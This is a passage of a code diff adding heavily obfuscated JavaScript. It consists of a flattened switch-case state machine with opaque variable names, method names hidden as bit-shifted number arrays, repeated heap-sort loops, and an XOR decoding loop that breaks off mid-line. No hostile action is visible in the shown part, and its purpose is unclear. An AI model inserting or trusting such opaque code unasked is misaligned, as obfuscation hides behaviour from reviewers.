+ _$r = _$uc; + _$c = _$Fr; + _$v = _$r[_$c]; + _$s = 12; + _$n = _$v >> _$s; + _$f = _$bW(_$n); + _$t = _$a + _$f; + _$or = _$t + } + break; + case 228: + for (_$Jr = Math[_$Ar]((_$ba.length - 2) / 2); _$Jr >= 0; _$Jr--) { + _$a = _$ba; + _$r = _$PC; + _$c = _$a[_$r]; + _$v = 2; + _$s = _$c % _$v; + _$n = 0; + _$f = _$s == _$n; + _$t = _$f; + if (_$t) { + _$V = 2; + _$q = _$Jr; + _$H = _$V * _$q; + _$x = 1; + _$B = _$H + _$x; + _$X = _$ba; + _$F = _$PC; + _$J = _$X[_$F]; + _$$ = 1; + _$aa = _$J - _$$; + _$t = _$B == _$aa + } + if (_$t) { + _$a = _$ba; + _$r = 2; + _$c = _$Jr; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$t = _$ba; + _$i = _$Jr; + _$o = _$t[_$i]; + _$k = _$f < _$o; + if (_$k) { + _$a = _$ba; + _$r = _$Jr; + _$c = _$a[_$r]; + _$la = _$c; + _$a = _$ba; + _$r = _$Jr; + _$c = _$ba; + _$v = 2; + _$s = _$Jr; + _$n = _$v * _$s; + _$f = 1; + _$t = _$n + _$f; + _$i = _$c[_$t]; + _$a[_$r] = _$i; + _$a = _$ba; + _$r = 2; + _$c = _$Jr; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$la; + _$a[_$n] = _$f + } + } else { + _$a = _$ba; + _$r = 2; + _$c = _$Jr; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$t = _$ba; + _$i = 2; + _$o = _$Jr; + _$k = _$i * _$o; + _$b = 2; + _$l = _$k + _$b; + _$h = _$t[_$l]; + _$g = _$f <= _$h; + _$u = _$g; + if (_$u) { + _$V = _$ba; + _$q = 2; + _$H = _$Jr; + _$x = _$q * _$H; + _$B = 1; + _$X = _$x + _$B; + _$F = _$V[_$X]; + _$J = _$ba; + _$$ = _$Jr; + _$aa = _$J[_$$]; + _$u = _$F < _$aa + } + if (_$u) { + _$a = _$ba; + _$r = 2; + _$c = _$Jr; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$la = _$f; + _$a = _$ba; + _$r = 2; + _$c = _$Jr; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$ba; + _$t = _$Jr; + _$i = _$f[_$t]; + _$a[_$n] = _$i; + _$a = _$ba; + _$r = _$Jr; + _$c = _$la; + _$a[_$r] = _$c; + _$a = _$ba; + _$r = 2; + _$c = _$Jr; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$ba; + _$t = _$PC; + _$i = _$f[_$t]; + _$o = 1; + _$k = _$i - _$o; + _$Ks(_$a, _$n, _$k) + } else { + _$a = _$ba; + _$r = 2; + _$c = _$Jr; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$t = _$ba; + _$i = 2; + _$o = _$Jr; + _$k = _$i * _$o; + _$b = 1; + _$l = _$k + _$b; + _$h = _$t[_$l]; + _$g = _$f < _$h; + _$u = _$g; + if (_$u) { + _$V = _$ba; + _$q = 2; + _$H = _$Jr; + _$x = _$q * _$H; + _$B = 2; + _$X = _$x + _$B; + _$F = _$V[_$X]; + _$J = _$ba; + _$$ = _$Jr; + _$aa = _$J[_$$]; + _$u = _$F < _$aa + } + if (_$u) { + _$a = _$ba; + _$r = 2; + _$c = _$Jr; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$la = _$f; + _$a = _$ba; + _$r = 2; + _$c = _$Jr; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$ba; + _$t = _$Jr; + _$i = _$f[_$t]; + _$a[_$n] = _$i; + _$a = _$ba; + _$r = _$Jr; + _$c = _$la; + _$a[_$r] = _$c; + _$a = _$ba; + _$r = 2; + _$c = _$Jr; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$ba; + _$t = _$PC; + _$i = _$f[_$t]; + _$o = 1; + _$k = _$i - _$o; + _$Ks(_$a, _$n, _$k) + } + } + } + } + break; + case 229: + _$yv = [471040, 442368, 430080, 405504, 413696]; + break; + case 230: + _$$r = _$BC; + break; + case 231: + _$Ba = 1; + break; + case 232: + _$ac = 6; + _$ec = _$Co; + _$rc = 1; + _$cc = [365, 374, 80, 378, 77, 148, 103, 120, 10, 176, 90, 313, 335, 68, 141, 20, 329, 111, 134, 213]; + break; + case 233: + _$ya = _$wa; + break; + case 234: + for (_$vc = Math[_$nr]((_$Ov.length - 2) / 2); _$vc >= 0; _$vc--) { + _$a = _$Ov; + _$r = _$PC; + _$c = _$a[_$r]; + _$v = 2; + _$s = _$c % _$v; + _$n = 0; + _$f = _$s == _$n; + _$t = _$f; + if (_$t) { + _$V = 2; + _$q = _$vc; + _$H = _$V * _$q; + _$x = 1; + _$B = _$H + _$x; + _$X = _$Ov; + _$F = _$PC; + _$J = _$X[_$F]; + _$$ = 1; + _$aa = _$J - _$$; + _$t = _$B == _$aa + } + if (_$t) { + _$a = _$Ov; + _$r = 2; + _$c = _$vc; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$t = _$Ov; + _$i = _$vc; + _$o = _$t[_$i]; + _$k = _$f < _$o; + if (_$k) { + _$a = _$Ov; + _$r = _$vc; + _$c = _$a[_$r]; + _$Pv = _$c; + _$a = _$Ov; + _$r = _$vc; + _$c = _$Ov; + _$v = 2; + _$s = _$vc; + _$n = _$v * _$s; + _$f = 1; + _$t = _$n + _$f; + _$i = _$c[_$t]; + _$a[_$r] = _$i; + _$a = _$Ov; + _$r = 2; + _$c = _$vc; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$Pv; + _$a[_$n] = _$f + } + } else { + _$a = _$Ov; + _$r = 2; + _$c = _$vc; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$t = _$Ov; + _$i = 2; + _$o = _$vc; + _$k = _$i * _$o; + _$b = 2; + _$l = _$k + _$b; + _$h = _$t[_$l]; + _$g = _$f <= _$h; + _$u = _$g; + if (_$u) { + _$V = _$Ov; + _$q = 2; + _$H = _$vc; + _$x = _$q * _$H; + _$B = 1; + _$X = _$x + _$B; + _$F = _$V[_$X]; + _$J = _$Ov; + _$$ = _$vc; + _$aa = _$J[_$$]; + _$u = _$F < _$aa + } + if (_$u) { + _$a = _$Ov; + _$r = 2; + _$c = _$vc; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$Pv = _$f; + _$a = _$Ov; + _$r = 2; + _$c = _$vc; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$Ov; + _$t = _$vc; + _$i = _$f[_$t]; + _$a[_$n] = _$i; + _$a = _$Ov; + _$r = _$vc; + _$c = _$Pv; + _$a[_$r] = _$c; + _$a = _$Ov; + _$r = 2; + _$c = _$vc; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$Ov; + _$t = _$PC; + _$i = _$f[_$t]; + _$o = 1; + _$k = _$i - _$o; + _$Ks(_$a, _$n, _$k) + } else { + _$a = _$Ov; + _$r = 2; + _$c = _$vc; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$t = _$Ov; + _$i = 2; + _$o = _$vc; + _$k = _$i * _$o; + _$b = 1; + _$l = _$k + _$b; + _$h = _$t[_$l]; + _$g = _$f < _$h; + _$u = _$g; + if (_$u) { + _$V = _$Ov; + _$q = 2; + _$H = _$vc; + _$x = _$q * _$H; + _$B = 2; + _$X = _$x + _$B; + _$F = _$V[_$X]; + _$J = _$Ov; + _$$ = _$vc; + _$aa = _$J[_$$]; + _$u = _$F < _$aa + } + if (_$u) { + _$a = _$Ov; + _$r = 2; + _$c = _$vc; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$Pv = _$f; + _$a = _$Ov; + _$r = 2; + _$c = _$vc; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$Ov; + _$t = _$vc; + _$i = _$f[_$t]; + _$a[_$n] = _$i; + _$a = _$Ov; + _$r = _$vc; + _$c = _$Pv; + _$a[_$r] = _$c; + _$a = _$Ov; + _$r = 2; + _$c = _$vc; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$Ov; + _$t = _$PC; + _$i = _$f[_$t]; + _$o = 1; + _$k = _$i - _$o; + _$Ks(_$a, _$n, _$k) + } + } + } + } + break; + case 235: + _$gc = 1; + _$Pa.apply(_$E, _$Mr); + break; + case 236: + if (_$Rr && !_$_r) { + _$a = _$Lr; + _$r = 3; + _$c = _$a % _$r; + _$Vr = _$c; + _$a = _$_r; + _$r = _$Vr; + _$c = _$a + _$r; + _$Vr = _$c + } + break; + case 237: + _$sc = _$VY[_$hr](0, _$Sr); + _$fc = _$Do; + _$tc = 1; + break; + case 238: + _$Qa = _$Qa.p(_$Ka); + break; + case 239: + _$cv = _$Ov[0]; + break; + case 240: + _$Aa = _$Aa.p(_$Ia); + break; + case 241: + _$Sc = [417792, 442368, 454656, 454656, 466944]; + break; + case 242: + for (_$ic = 0; _$ic < _$Qa.length; _$ic++) { + _$a = _$ma; + _$r = _$Qa; + _$c = _$ic; + _$v = _$r[_$c]; + _$s = 12; + _$n = _$v >> _$s; + _$f = _$bW(_$n); + _$t = _$a + _$f; + _$ma = _$t + } + break; + case 243: + _$Ja = _$$a; + break; + case 244: + _$tc = [417792, 442368, 454656, 454656, 466944]; + break; + case 245: + _$oc = _$BC; + break; + case 246: + _$Oc = _$Pc; + break; + case 247: + _$Ne = [471040, 442368, 430080, 405504, 413696]; + break; + case 248: + _$Kc = [417792, 442368, 454656, 454656, 466944]; + break; + case 249: + for (_$kc = _$Kr; _$Kr < _$VY.length; _$Kr++) { + _$a = _$VY; + _$r = _$Kr; + _$c = _$a[_$r]; + _$bc = _$c; + _$a = _$Mc; + _$r = 0; + _$c = _$a[_$r]; + _$v = _$bc; + _$s = _$c < _$v; + if (_$s) { + _$a = _$Mc; + _$r = 0; + _$c = _$bc; + _$a[_$r] = _$c; + _$a = _$Mc; + _$r = 0; + _$c = _$Mc; + _$v = _$PC; + _$s = _$c[_$v]; + _$n = 1; + _$f = _$s - _$n; + _$Ks(_$a, _$r, _$f) + } + } + break; + case 250: + _$Nv = [417792, 442368, 454656, 454656, 466944]; + break; + case 251: + _$lc = _$qY[_$ge](0, _$yr); + _$gc = _$Do; + _$uc = 1; + break; + case 252: + _$fv = _$jc[0]; + break; + case 253: + _$Aa = [417792, 442368, 454656, 454656, 466944]; + break; + case 254: + _$Fv = _$Fv.p(_$Xv); + break; + case 255: + _$pc = _$ZY[_$Wa](0, _$pa); + _$wc = _$Do; + _$dc = 1; + break; + case 256: + _$Qa = [417792, 442368, 454656, 454656, 466944]; + break; + case 257: + _$fc = _$tc; + break; + case 258: + _$Mc = _$VY[_$Ec](0, _$Kr); + _$Ac = _$Do; + _$Sc = 1; + break; + case 259: + _$wr = 1; + break; + case 260: + _$ya = 1; + break; + case 261: + if (_$Rr + _$Vr < _$_r) { + _$a = _$Rr; + _$r = _$Lr; + _$c = _$Vr; + _$v = _$r + _$c; + _$s = _$a >> _$v; + _$n = _$Rr; + _$f = _$_r; + _$t = _$n - _$f; + _$i = _$s >> _$t; + _$o = _$Vr; + _$k = _$i >> _$o; + _$Vr = _$k + } + break; + case 262: + for (_$mc = 0; _$mc < _$ga.length; _$mc++) { + _$a = _$Ar; + _$r = _$ga; + _$c = _$mc; + _$v = _$r[_$c]; + _$s = 12; + _$n = _$v >> _$s; + _$f = _$bW(_$n); + _$t = _$a + _$f; + _$Ar = _$t + } + break; + case 263: + _$Ac = _$Sc; + break; + case 264: + _$Xa = _$Xa.p(_$Ba); + break; + case 265: + _$Tc = _$BC; + _$Pa.apply(_$E, _$Ur); + break; + case 266: + _$jc = _$EW[_$$v](0, _$Ms); + _$Dc = _$Do; + _$Kc = 1; + _$Qc = [369, 150, 88, 275, 204, 356, 96, 173, 145, 186, 109, 167, 205, 347, 149, 357, 220, 18, 368, 302]; + break; + case 267: + for (_$Wc = 0; _$Wc < _$dr.length; _$Wc++) { + _$a = _$ge; + _$r = _$dr; + _$c = _$Wc; + _$v = _$r[_$c]; + _$s = 12; + _$n = _$v >> _$s; + _$f = _$bW(_$n); + _$t = _$a + _$f; + _$ge = _$t + } + break; + case 268: + _$Kv = 1; + break; + case 269: + _$Xc = [417792, 442368, 454656, 454656, 466944]; + break; + case 270: + _$rv = _$Hc[0]; + break; + case 271: + _$vs = _$vs + 1; + break; + case 272: + _$ga = [417792, 442368, 454656, 454656, 466944]; + break; + case 273: + for (_$Yc = Math[_$Be]((_$pc.length - 2) / 2); _$Yc >= 0; _$Yc--) { + _$a = _$pc; + _$r = _$PC; + _$c = _$a[_$r]; + _$v = 2; + _$s = _$c % _$v; + _$n = 0; + _$f = _$s == _$n; + _$t = _$f; + if (_$t) { + _$V = 2; + _$q = _$Yc; + _$H = _$V * _$q; + _$x = 1; + _$B = _$H + _$x; + _$X = _$pc; + _$F = _$PC; + _$J = _$X[_$F]; + _$$ = 1; + _$aa = _$J - _$$; + _$t = _$B == _$aa + } + if (_$t) { + _$a = _$pc; + _$r = 2; + _$c = _$Yc; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$t = _$pc; + _$i = _$Yc; + _$o = _$t[_$i]; + _$k = _$f < _$o; + if (_$k) { + _$a = _$pc; + _$r = _$Yc; + _$c = _$a[_$r]; + _$yc = _$c; + _$a = _$pc; + _$r = _$Yc; + _$c = _$pc; + _$v = 2; + _$s = _$Yc; + _$n = _$v * _$s; + _$f = 1; + _$t = _$n + _$f; + _$i = _$c[_$t]; + _$a[_$r] = _$i; + _$a = _$pc; + _$r = 2; + _$c = _$Yc; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$yc; + _$a[_$n] = _$f + } + } else { + _$a = _$pc; + _$r = 2; + _$c = _$Yc; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$t = _$pc; + _$i = 2; + _$o = _$Yc; + _$k = _$i * _$o; + _$b = 2; + _$l = _$k + _$b; + _$h = _$t[_$l]; + _$g = _$f <= _$h; + _$u = _$g; + if (_$u) { + _$V = _$pc; + _$q = 2; + _$H = _$Yc; + _$x = _$q * _$H; + _$B = 1; + _$X = _$x + _$B; + _$F = _$V[_$X]; + _$J = _$pc; + _$$ = _$Yc; + _$aa = _$J[_$$]; + _$u = _$F < _$aa + } + if (_$u) { + _$a = _$pc; + _$r = 2; + _$c = _$Yc; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$yc = _$f; + _$a = _$pc; + _$r = 2; + _$c = _$Yc; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$pc; + _$t = _$Yc; + _$i = _$f[_$t]; + _$a[_$n] = _$i; + _$a = _$pc; + _$r = _$Yc; + _$c = _$yc; + _$a[_$r] = _$c; + _$a = _$pc; + _$r = 2; + _$c = _$Yc; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$pc; + _$t = _$PC; + _$i = _$f[_$t]; + _$o = 1; + _$k = _$i - _$o; + _$Ks(_$a, _$n, _$k) + } else { + _$a = _$pc; + _$r = 2; + _$c = _$Yc; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$t = _$pc; + _$i = 2; + _$o = _$Yc; + _$k = _$i * _$o; + _$b = 1; + _$l = _$k + _$b; + _$h = _$t[_$l]; + _$g = _$f < _$h; + _$u = _$g; + if (_$u) { + _$V = _$pc; + _$q = 2; + _$H = _$Yc; + _$x = _$q * _$H; + _$B = 2; + _$X = _$x + _$B; + _$F = _$V[_$X]; + _$J = _$pc; + _$$ = _$Yc; + _$aa = _$J[_$$]; + _$u = _$F < _$aa + } + if (_$u) { + _$a = _$pc; + _$r = 2; + _$c = _$Yc; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$yc = _$f; + _$a = _$pc; + _$r = 2; + _$c = _$Yc; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$pc; + _$t = _$Yc; + _$i = _$f[_$t]; + _$a[_$n] = _$i; + _$a = _$pc; + _$r = _$Yc; + _$c = _$yc; + _$a[_$r] = _$c; + _$a = _$pc; + _$r = 2; + _$c = _$Yc; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$pc; + _$t = _$PC; + _$i = _$f[_$t]; + _$o = 1; + _$k = _$i - _$o; + _$Ks(_$a, _$n, _$k) + } + } + } + } + break; + case 274: + _$Uc = 5; + _$Oc = _$Ko; + _$Pc = 1; + break; + case 275: + _$Gc = _$BC; + break; + case 276: + if (_$Rr + _$_r + _$Rr > 0) { + _$a = _$Rr; + _$r = _$Lr; + _$c = _$Vr; + _$v = _$r + _$c; + _$s = _$a >> _$v; + _$n = _$Rr; + _$f = _$s >> _$n; + _$_r = _$f; + _$a = _$_r; + _$r = _$Vr; + _$c = _$a + _$r; + _$Vr = _$c + } + break; + case 277: + _$uc = _$uc.p(_$gc); + break; + case 278: + _$Nv = _$Nv.p(_$Gv); + break; + case 279: + for (_$Nc = Math[_$Zv]((_$ks.length - 2) / 2); _$Nc >= 0; _$Nc--) { + _$a = _$ks; + _$r = _$PC; + _$c = _$a[_$r]; + _$v = 2; + _$s = _$c % _$v; + _$n = 0; + _$f = _$s == _$n; + _$t = _$f; + if (_$t) { + _$V = 2; + _$q = _$Nc; + _$H = _$V * _$q; + _$x = 1; + _$B = _$H + _$x; + _$X = _$ks; + _$F = _$PC; + _$J = _$X[_$F]; + _$$ = 1; + _$aa = _$J - _$$; + _$t = _$B == _$aa + } + if (_$t) { + _$a = _$ks; + _$r = 2; + _$c = _$Nc; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$t = _$ks; + _$i = _$Nc; + _$o = _$t[_$i]; + _$k = _$f < _$o; + if (_$k) { + _$a = _$ks; + _$r = _$Nc; + _$c = _$a[_$r]; + _$Mv = _$c; + _$a = _$ks; + _$r = _$Nc; + _$c = _$ks; + _$v = 2; + _$s = _$Nc; + _$n = _$v * _$s; + _$f = 1; + _$t = _$n + _$f; + _$i = _$c[_$t]; + _$a[_$r] = _$i; + _$a = _$ks; + _$r = 2; + _$c = _$Nc; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$Mv; + _$a[_$n] = _$f + } + } else { + _$a = _$ks; + _$r = 2; + _$c = _$Nc; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$t = _$ks; + _$i = 2; + _$o = _$Nc; + _$k = _$i * _$o; + _$b = 2; + _$l = _$k + _$b; + _$h = _$t[_$l]; + _$g = _$f <= _$h; + _$u = _$g; + if (_$u) { + _$V = _$ks; + _$q = 2; + _$H = _$Nc; + _$x = _$q * _$H; + _$B = 1; + _$X = _$x + _$B; + _$F = _$V[_$X]; + _$J = _$ks; + _$$ = _$Nc; + _$aa = _$J[_$$]; + _$u = _$F < _$aa + } + if (_$u) { + _$a = _$ks; + _$r = 2; + _$c = _$Nc; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$Mv = _$f; + _$a = _$ks; + _$r = 2; + _$c = _$Nc; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$ks; + _$t = _$Nc; + _$i = _$f[_$t]; + _$a[_$n] = _$i; + _$a = _$ks; + _$r = _$Nc; + _$c = _$Mv; + _$a[_$r] = _$c; + _$a = _$ks; + _$r = 2; + _$c = _$Nc; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$ks; + _$t = _$PC; + _$i = _$f[_$t]; + _$o = 1; + _$k = _$i - _$o; + _$Ks(_$a, _$n, _$k) + } else { + _$a = _$ks; + _$r = 2; + _$c = _$Nc; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$t = _$ks; + _$i = 2; + _$o = _$Nc; + _$k = _$i * _$o; + _$b = 1; + _$l = _$k + _$b; + _$h = _$t[_$l]; + _$g = _$f < _$h; + _$u = _$g; + if (_$u) { + _$V = _$ks; + _$q = 2; + _$H = _$Nc; + _$x = _$q * _$H; + _$B = 2; + _$X = _$x + _$B; + _$F = _$V[_$X]; + _$J = _$ks; + _$$ = _$Nc; + _$aa = _$J[_$$]; + _$u = _$F < _$aa + } + if (_$u) { + _$a = _$ks; + _$r = 2; + _$c = _$Nc; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$Mv = _$f; + _$a = _$ks; + _$r = 2; + _$c = _$Nc; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$ks; + _$t = _$Nc; + _$i = _$f[_$t]; + _$a[_$n] = _$i; + _$a = _$ks; + _$r = _$Nc; + _$c = _$Mv; + _$a[_$r] = _$c; + _$a = _$ks; + _$r = 2; + _$c = _$Nc; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$ks; + _$t = _$PC; + _$i = _$f[_$t]; + _$o = 1; + _$k = _$i - _$o; + _$Ks(_$a, _$n, _$k) + } + } + } + } + break; + case 280: + for (_$Zc = Math[_$wv]((_$jc.length - 2) / 2); _$Zc >= 0; _$Zc--) { + _$a = _$jc; + _$r = _$PC; + _$c = _$a[_$r]; + _$v = 2; + _$s = _$c % _$v; + _$n = 0; + _$f = _$s == _$n; + _$t = _$f; + if (_$t) { + _$V = 2; + _$q = _$Zc; + _$H = _$V * _$q; + _$x = 1; + _$B = _$H + _$x; + _$X = _$jc; + _$F = _$PC; + _$J = _$X[_$F]; + _$$ = 1; + _$aa = _$J - _$$; + _$t = _$B == _$aa + } + if (_$t) { + _$a = _$jc; + _$r = 2; + _$c = _$Zc; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$t = _$jc; + _$i = _$Zc; + _$o = _$t[_$i]; + _$k = _$f < _$o; + if (_$k) { + _$a = _$jc; + _$r = _$Zc; + _$c = _$a[_$r]; + _$Cc = _$c; + _$a = _$jc; + _$r = _$Zc; + _$c = _$jc; + _$v = 2; + _$s = _$Zc; + _$n = _$v * _$s; + _$f = 1; + _$t = _$n + _$f; + _$i = _$c[_$t]; + _$a[_$r] = _$i; + _$a = _$jc; + _$r = 2; + _$c = _$Zc; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$Cc; + _$a[_$n] = _$f + } + } else { + _$a = _$jc; + _$r = 2; + _$c = _$Zc; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$t = _$jc; + _$i = 2; + _$o = _$Zc; + _$k = _$i * _$o; + _$b = 2; + _$l = _$k + _$b; + _$h = _$t[_$l]; + _$g = _$f <= _$h; + _$u = _$g; + if (_$u) { + _$V = _$jc; + _$q = 2; + _$H = _$Zc; + _$x = _$q * _$H; + _$B = 1; + _$X = _$x + _$B; + _$F = _$V[_$X]; + _$J = _$jc; + _$$ = _$Zc; + _$aa = _$J[_$$]; + _$u = _$F < _$aa + } + if (_$u) { + _$a = _$jc; + _$r = 2; + _$c = _$Zc; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$Cc = _$f; + _$a = _$jc; + _$r = 2; + _$c = _$Zc; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$jc; + _$t = _$Zc; + _$i = _$f[_$t]; + _$a[_$n] = _$i; + _$a = _$jc; + _$r = _$Zc; + _$c = _$Cc; + _$a[_$r] = _$c; + _$a = _$jc; + _$r = 2; + _$c = _$Zc; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$jc; + _$t = _$PC; + _$i = _$f[_$t]; + _$o = 1; + _$k = _$i - _$o; + _$Ks(_$a, _$n, _$k) + } else { + _$a = _$jc; + _$r = 2; + _$c = _$Zc; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$t = _$jc; + _$i = 2; + _$o = _$Zc; + _$k = _$i * _$o; + _$b = 1; + _$l = _$k + _$b; + _$h = _$t[_$l]; + _$g = _$f < _$h; + _$u = _$g; + if (_$u) { + _$V = _$jc; + _$q = 2; + _$H = _$Zc; + _$x = _$q * _$H; + _$B = 2; + _$X = _$x + _$B; + _$F = _$V[_$X]; + _$J = _$jc; + _$$ = _$Zc; + _$aa = _$J[_$$]; + _$u = _$F < _$aa + } + if (_$u) { + _$a = _$jc; + _$r = 2; + _$c = _$Zc; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$Cc = _$f; + _$a = _$jc; + _$r = 2; + _$c = _$Zc; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$jc; + _$t = _$Zc; + _$i = _$f[_$t]; + _$a[_$n] = _$i; + _$a = _$jc; + _$r = _$Zc; + _$c = _$Cc; + _$a[_$r] = _$c; + _$a = _$jc; + _$r = 2; + _$c = _$Zc; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$jc; + _$t = _$PC; + _$i = _$f[_$t]; + _$o = 1; + _$k = _$i - _$o; + _$Ks(_$a, _$n, _$k) + } + } + } + } + break; + case 281: + _$zc = _$BC; + break; + case 282: + _$Av = [417792, 442368, 454656, 454656, 466944]; + break; + case 283: + _$Ec = _$BC; + break; + case 284: + _$sa = 1; + break; + case 285: + _$na = [471040, 442368, 430080, 405504, 413696]; + break; + case 286: + _$vv = _$Mc[0]; + break; + case 287: + _$Ka = 1; + break; + case 288: + for (_$Rc = _$Sr; _$Sr < _$VY.length; _$Sr++) { + _$a = _$VY; + _$r = _$Sr; + _$c = _$a[_$r]; + _$_c = _$c; + _$a = _$sc; + _$r = 0; + _$c = _$a[_$r]; + _$v = _$_c; + _$s = _$c < _$v; + if (_$s) { + _$a = _$sc; + _$r = 0; + _$c = _$_c; + _$a[_$r] = _$c; + _$a = _$sc; + _$r = 0; + _$c = _$sc; + _$v = _$PC; + _$s = _$c[_$v]; + _$n = 1; + _$f = _$s - _$n; + _$Ks(_$a, _$r, _$f) + } + } + break; + case 289: + for (_$Lc = 0; _$Lc < _$Xa.length; _$Lc++) { + _$a = _$Tc; + _$r = _$Xa; + _$c = _$Lc; + _$v = _$r[_$c]; + _$s = 12; + _$n = _$v >> _$s; + _$f = _$bW(_$n); + _$t = _$a + _$f; + _$Tc = _$t + } + break; + case 290: + _$wa = _$wa + 1; + _$Vc = [76, 153, 273, 308, 276, 14, 13, 132, 284, 218, 208, 285, 299, 125, 65, 61, 231, 265, 157, 74]; + break; + case 291: + _$be = _$be.p(_$ke); + break; + case 292: + for (_$qc = 0; _$qc < _$wa.length; _$qc++) { + _$a = _$Wa; + _$r = _$wa; + _$c = _$qc; + _$v = _$r[_$c]; + _$s = 12; + _$n = _$v >> _$s; + _$f = _$bW(_$n); + _$t = _$a + _$f; + _$Wa = _$t + } + _$Pa.apply(_$E, _$Vc); + break; + case 293: + _$Hc = _$gY[_$Za](0, _$ys); + _$Bc = _$Do; + _$Xc = 1; + break; + case 294: + for (_$Fc = _$ys; _$ys < _$gY.length; _$ys++) { + _$a = _$gY; + _$r = _$ys; + _$c = _$a[_$r]; + _$Jc = _$c; + _$a = _$Hc; + _$r = 0; + _$c = _$a[_$r]; + _$v = _$Jc; + _$s = _$c < _$v; + if (_$s) { + _$a = _$Hc; + _$r = 0; + _$c = _$Jc; + _$a[_$r] = _$c; + _$a = _$Hc; + _$r = 0; + _$c = _$Hc; + _$v = _$PC; + _$s = _$c[_$v]; + _$n = 1; + _$f = _$s - _$n; + _$Ks(_$a, _$r, _$f) + } + } + break; + case 295: + break; + case 296: + _$ha = _$ga; + _$Pa.apply(_$E, _$Ee); + break; + case 297: + _$Qa = _$Qa + 1; + _$Pa.apply(_$E, _$se); + break; + case 298: + for (_$kv = 0; _$kv < _$Kc.length; _$kv++) { + _$a = _$wv; + _$r = _$Kc; + _$c = _$kv; + _$v = _$r[_$c]; + _$s = 12; + _$n = _$v >> _$s; + _$f = _$bW(_$n); + _$t = _$a + _$f; + _$wv = _$t + } + break; + case 299: + for (_$bv = 0; _$bv < _$na.length; _$bv++) { + _$a = _$Hr; + _$r = _$na; + _$c = _$bv; + _$v = _$r[_$c]; + _$s = 12; + _$n = _$v >> _$s; + _$f = _$bW(_$n); + _$t = _$a + _$f; + _$Hr = _$t + } + break; + case 300: + _$Qv = _$Qv.p(_$Kv); + break; + case 301: + _$iv = [_$ev, _$rv, _$cv, _$vv, _$sv, _$nv, _$Ze, _$fv]; + break; + case 302: + for (_$lv = 0; _$lv < _$VY.length; _$lv++) { + _$a = _$lv; + _$r = _$ta; + _$c = _$a % _$r; + _$ia = _$c; + _$a = _$VY; + _$r = _$lv; + _$c = _$VY; + _$v = _$lv; + _$s = _$c[_$v]; + _$n = _$ov; + _$f = _$ia; + _$t = _$n[_$f]; + _$i = _$s ^ _$t; + _$a[_$r] 